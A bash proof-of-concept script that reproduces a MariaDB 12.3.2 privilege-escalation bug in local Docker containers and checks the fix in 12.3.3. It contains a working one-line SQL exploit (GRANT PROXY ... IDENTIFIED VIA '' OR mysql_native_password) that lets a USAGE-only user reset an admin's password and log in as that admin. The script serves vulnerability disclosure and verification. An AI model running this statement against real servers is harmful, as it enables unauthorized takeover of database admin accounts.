#!/bin/bash
# Reproduction: H1-3876430 / MDEV-40470 — MariaDB GRANT PROXY ... IDENTIFIED VIA ''
# privilege escalation / admin account takeover by a USAGE-only user.
#
# Vulnerable: mariadb:12.3.2  (has_auth() treats empty plugin+auth_str as "no change",
#             skipping the mysql-DB access check; replace_user_table() persists the
#             attacker-controlled second auth node onto the victim account)
# Fixed:      mariadb:12.3.3  (dbd60d0ad8d: has_auth() returns auth != NULL;
#             statement rejected with ERROR 1044 Access denied to database 'mysql')
#
# Exit 0 = issue confirmed (2/2 vulnerable takeovers + 2/2 fixed rejections)
# Exit 1 = not reproduced
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
EVID="$REPRO_DIR/evidence"
mkdir -p "$LOGS/repro" "$REPRO_DIR" "$EVID"
cd "$ROOT"

VULN_IMAGE="mariadb:12.3.2"
FIXED_IMAGE="mariadb:12.3.3"
RUN_ID="mdev40470-$$"

# Full-session diagnostic log (NOT a proof artifact; it stays open until exit).
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

echo "[*] MDEV-40470 / H1-3876430 reproduction run $RUN_ID"
command -v docker >/dev/null || { echo "[-] docker not available"; exit 1; }
docker info >/dev/null 2>&1 || { echo "[-] docker daemon not reachable"; exit 1; }

echo "[*] Pulling pinned images"
docker pull "$VULN_IMAGE" >/dev/null
docker pull "$FIXED_IMAGE" >/dev/null
VULN_DIGEST="$(docker inspect --format '{{index .RepoDigests 0}}' "$VULN_IMAGE" | sed 's/.*@//')"
FIXED_DIGEST="$(docker inspect --format '{{index .RepoDigests 0}}' "$FIXED_IMAGE" | sed 's/.*@//')"
ARCH="$(docker inspect --format '{{.Architecture}}' "$VULN_IMAGE")"
OSNAME="$(docker inspect --format '{{.Os}}' "$VULN_IMAGE")"
echo "[*] vuln  $VULN_IMAGE  @ $VULN_DIGEST"
echo "[*] fixed $FIXED_IMAGE @ $FIXED_DIGEST"

cleanup() {
  docker rm -f "${RUN_ID}-vuln-1" "${RUN_ID}-vuln-2" "${RUN_ID}-fixed-1" "${RUN_ID}-fixed-2" >/dev/null 2>&1 || true
}
trap cleanup EXIT

SQLCLI() { # SQLCLI <container> <user> <password> <sql...>
  local c="$1" u="$2" p="$3"; shift 3
  docker exec "$c" mariadb --protocol=TCP -h127.0.0.1 -P3306 -u"$u" --password="$p" -e "$*" 2>&1
}

wait_ready() { # wait_ready <container>
  local c="$1" i
  for i in $(seq 1 60); do
    if docker exec "$c" mariadb --protocol=TCP -h127.0.0.1 -P3306 -uroot -prootpass \
         -e "SELECT 1" >/dev/null 2>&1; then return 0; fi
    sleep 2
  done
  return 1
}

# run_attempt <role: vuln|fixed> <attempt#> <image>
# Writes finalized per-attempt log $LOGS/repro/<role>_attempt_<n>.log and
# evidence JSON $EVID/<role>_<n>.json. Prints RESULT=<takeover|resisted|error>.
run_attempt() {
  local role="$1" n="$2" image="$3"
  local cname="${RUN_ID}-${role}-${n}"
  local log="$LOGS/repro/${role}_attempt_${n}.log"
  local ejson="$EVID/${role}_${n}.json"
  : > "$log"
  {
    echo "### role=$role attempt=$n image=$image container=$cname"
    docker run -d --name "$cname" -e MARIADB_ROOT_PASSWORD=rootpass "$image" >/dev/null
    if ! wait_ready "$cname"; then echo "FATAL: server did not become ready"; echo "RESULT=error"; return; fi
    echo "[+] server ready: $(SQLCLI "$cname" root rootpass 'SELECT VERSION();' | tail -1)"

    echo "--- setup (as root over TCP) ---"
    SQLCLI "$cname" root rootpass "
      CREATE USER 'victim_admin'@'%' IDENTIFIED BY 'origpass';
      GRANT ALL PRIVILEGES ON *.* TO 'victim_admin'@'%' WITH GRANT OPTION;
      CREATE USER 'attacker'@'%' IDENTIFIED BY 'attackerpass';
      GRANT USAGE ON *.* TO 'attacker'@'%';"
    EXPECT_HASH="$(SQLCLI "$cname" root rootpass "SELECT PASSWORD('hacked');" | tail -1)"
    ORIG_HASH="$(SQLCLI "$cname" root rootpass "SELECT authentication_string FROM mysql.user WHERE user='victim_admin';" | tail -1)"
    echo "victim orig authentication_string: $ORIG_HASH"
    echo "expected PASSWORD('hacked') hash:    $EXPECT_HASH"

    echo "--- precondition: attacker has USAGE only ---"
    SQLCLI "$cname" attacker attackerpass "SHOW GRANTS;"
    echo "--- precondition: direct ALTER USER by attacker (must be denied) ---"
    SQLCLI "$cname" attacker attackerpass "ALTER USER 'victim_admin'@'%' IDENTIFIED BY 'x';" || true

    echo "--- ATTACK (as attacker, USAGE only) ---"
    echo "SQL> GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked');"
    ATTACK_OUT="$(SQLCLI "$cname" attacker attackerpass \
      "GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked'); SELECT 'ATTACK_STMT_OK';" || true)"
    echo "$ATTACK_OUT"

    echo "--- post-state (as root) ---"
    POST="$(SQLCLI "$cname" root rootpass "SHOW CREATE USER 'victim_admin'@'%';")"
    echo "$POST"

    echo "--- takeover check: fresh TCP login as victim_admin with 'hacked' ---"
    LOGIN_OUT="$(SQLCLI "$cname" victim_admin hacked "SELECT CURRENT_USER(); SHOW GRANTS;" || true)"
    echo "$LOGIN_OUT"
    echo "--- negative check: fresh TCP login as victim_admin with 'wrongpw' (must fail) ---"
    SQLCLI "$cname" victim_admin wrongpw "SELECT 1;" || true
    echo "--- negative check: fresh TCP login as victim_admin with 'origpass' ---"
    ORIG_LOGIN="$(SQLCLI "$cname" victim_admin origpass "SELECT CURRENT_USER();" || true)"
    echo "$ORIG_LOGIN"

    TAKEOVER=no; RESISTED=no
    if echo "$ATTACK_OUT" | grep -q "ATTACK_STMT_OK" \
       && echo "$POST" | grep -q "${EXPECT_HASH#\*}" \
       && echo "$LOGIN_OUT" | grep -q "victim_admin@%" \
       && echo "$LOGIN_OUT" | grep -q "WITH GRANT OPTION"; then
      TAKEOVER=yes
    fi
    if echo "$ATTACK_OUT" | grep -qi "Access denied" \
       && echo "$POST" | grep -q "${ORIG_HASH#\*}" \
       && ! echo "$LOGIN_OUT" | grep -q "victim_admin@%" \
       && echo "$ORIG_LOGIN" | grep -q "victim_admin@%"; then
      RESISTED=yes
    fi
    echo "TAKEOVER=$TAKEOVER RESISTED=$RESISTED"

    python3 - "$ejson" "$role" "$n" "$image" "$TAKEOVER" "$RESISTED" <<'PY'
import json, sys
path, role, n, image, takeover, resisted = sys.argv[1:7]
json.dump({
  "schema_version": 1,
  "bug": "MDEV-40470 / H1-3876430 GRANT PROXY IDENTIFIED VIA auth-list bypass",
  "role": role, "attempt": int(n), "image": image,
  "attacker_privileges": "USAGE only",
  "attack_statement": "GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked')",
  "account_takeover": takeover == "yes",
  "fix_resisted": resisted == "yes",
}, open(path, "w"), indent=2)
PY
    docker rm -f "$cname" >/dev/null
  } >> "$log" 2>&1
  grep -E "^(TAKEOVER|RESULT)" "$log" | tail -1 || true
  if grep -q "TAKEOVER=yes" "$log"; then echo "RESULT=takeover";
  elif grep -q "RESISTED=yes" "$log"; then echo "RESULT=resisted";
  else echo "RESULT=error"; fi
}

VULN_OK=0; FIXED_OK=0
for n in 1 2; do
  r="$(run_attempt vuln "$n" "$VULN_IMAGE" | tail -1)"
  echo "[*] vuln attempt $n: $r"
  [ "$r" = "RESULT=takeover" ] && VULN_OK=$((VULN_OK+1))
done
for n in 1 2; do
  r="$(run_attempt fixed "$n" "$FIXED_IMAGE" | tail -1)"
  echo "[*] fixed attempt $n: $r"
  [ "$r" = "RESULT=resisted" ] && FIXED_OK=$((FIXED_OK+1))
done

echo "[*] summary: vulnerable takeovers=$VULN_OK/2  fixed resisted=$FIXED_OK/2"

# ---- runtime manifest (proof artifacts are finalized at this point) ----
PROOF_FILES=(
  "logs/repro/vuln_attempt_1.log" "logs/repro/vuln_attempt_2.log"
  "logs/repro/fixed_attempt_1.log" "logs/repro/fixed_attempt_2.log"
  "repro/evidence/vuln_1.json" "repro/evidence/vuln_2.json"
  "repro/evidence/fixed_1.json" "repro/evidence/fixed_2.json"
)
REACHED=false; HEALTH=false; STARTED=false
[ "$VULN_OK" -ge 1 ] && { STARTED=true; HEALTH=true; REACHED=true; }
[ "$FIXED_OK" -ge 1 ] && { STARTED=true; HEALTH=true; REACHED=true; }

python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_IMAGE" "$VULN_DIGEST" "$FIXED_IMAGE" "$FIXED_DIGEST" \
          "$OSNAME" "$ARCH" "$STARTED" "$HEALTH" "$REACHED" "$VULN_OK" "$FIXED_OK" "${PROOF_FILES[@]}" <<'PY'
import hashlib, json, os, sys
( path, vimg, vdig, fimg, fdig, osname, arch, started, health, reached,
  vok, fok, *proofs ) = sys.argv[1:]
root = os.environ["PRUVA_ROOT"]
sha = {}
for p in proofs:
    fp = os.path.join(root, p)
    if os.path.isfile(fp):
        sha[p] = hashlib.sha256(open(fp, "rb").read()).hexdigest()
json.dump({
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "SQL GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked') over MySQL TCP protocol (port 3306) as a USAGE-only authenticated user",
  "service_started": started == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": reached == "true",
  "runtime_stack": [f"docker:{vimg}@{vdig}", f"docker:{fimg}@{fdig}"],
  "target_identity": {
    "repository_url": "https://github.com/MariaDB/server",
    "commit_sha": None,
    "target_digest": vdig,
    "runtime_digest": vdig,
    "platform": osname,
    "architecture": arch
  },
  "proof_artifacts": [p for p in proofs if p in sha],
  "artifact_sha256": sha,
  "notes": (f"vulnerable={vimg} takeovers={vok}/2; fixed={fimg} resisted={fok}/2. "
            "Vulnerable build lets a USAGE-only user overwrite an admin account's stored "
            "credentials (second auth node persisted while empty first node bypasses "
            "has_auth()); fixed build rejects with ERROR 1044 Access denied to database 'mysql'.")
}, open(path, "w"), indent=2)
print("[*] wrote runtime_manifest.json")
PY

if [ "$VULN_OK" -eq 2 ] && [ "$FIXED_OK" -eq 2 ]; then
  echo "[+] CONFIRMED: USAGE-only attacker reset admin credentials and logged in as victim_admin (vulnerable), fixed version rejected the statement."
  exit 0
fi
echo "[-] NOT CONFIRMED (vuln_ok=$VULN_OK fixed_ok=$FIXED_OK)"
exit 1
